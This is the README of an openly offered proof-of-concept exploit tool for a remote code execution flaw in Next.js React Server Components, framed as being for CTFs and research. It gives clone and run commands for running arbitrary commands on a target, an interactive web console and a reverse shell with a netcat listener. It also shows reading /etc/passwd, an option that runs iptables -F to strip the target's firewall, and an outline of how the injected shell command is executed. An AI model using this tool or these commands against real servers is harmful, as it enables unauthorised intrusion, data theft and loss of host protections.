
WEB-CLI_RCE_React2Shell is an educational PoC exploit tool for CVE-2025-55182, a critical Prototype Pollution flaw in Next.js applications using React Server Components. Designed for CTFs and research, it features a single-command mode, an interactive web CLI, and reverse shell capabilities to demonstrate RCE.
This tool is a simple Proof-of-Concept (PoC) exploit for CVE-2025-55182. This is a serious flaw (Prototype Pollution) found in Next.js applications that use React Server Components.
If a target server is vulnerable, this script lets you run operating system commands on it (Remote Code Execution, or RCE).
This tool is built for learning, CTFs, and responsible security research.
USE ETHICALLY. Only run this exploit against systems you own or have explicit, documented permission to test. Unauthorized use is illegal. This tool is for educational purposes only.
This tool has three main ways to run commands: a simple single command, a full interactive web console, and an attempt at a classic reverse shell.
Get the code:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Install the library:
pip install requests
This is the easiest way to interact with the target. It starts a local web page on your machine that acts like a terminal.
Run the script:
python3 exploit.py <TARGET_URL> --web-cli
Example: python3 exploit.py http://target.com/ --web-cli
Open your browser: The script will tell you to open http://127.0.0.1:8000/. You can then type commands (like ls, whoami, cat /etc/passwd) directly into the web page.
Run one command and get the output immediately in your local terminal. Good for quick checks like finding your user ID.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Example: python3 exploit.py http://target.com/ --cmd 'id'
Use this mode if you want a stable, persistent connection. Note: This often fails in real-world environments due to firewalls (egress filtering).
Start your listener (e.g., netcat):
nc -lvnp 55555
Run the exploit:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: Your machine's IP.-p 55555: The port your listener is using.--flush (Optional): Tries to run iptables -F on the target first to clear host firewalls.The exploit uses a Prototype Pollution flaw to achieve RCE.
Object.prototype).child_process). We replace that property's value with our shell command.execSync) and immediately throw a harmless error. The output of the command is cleverly stuffed into the error message's digest field. The Python script then reads this field to get the results.This research relies on the initial work and disclosure by the security community. Thank you to all researchers and open-source contributors.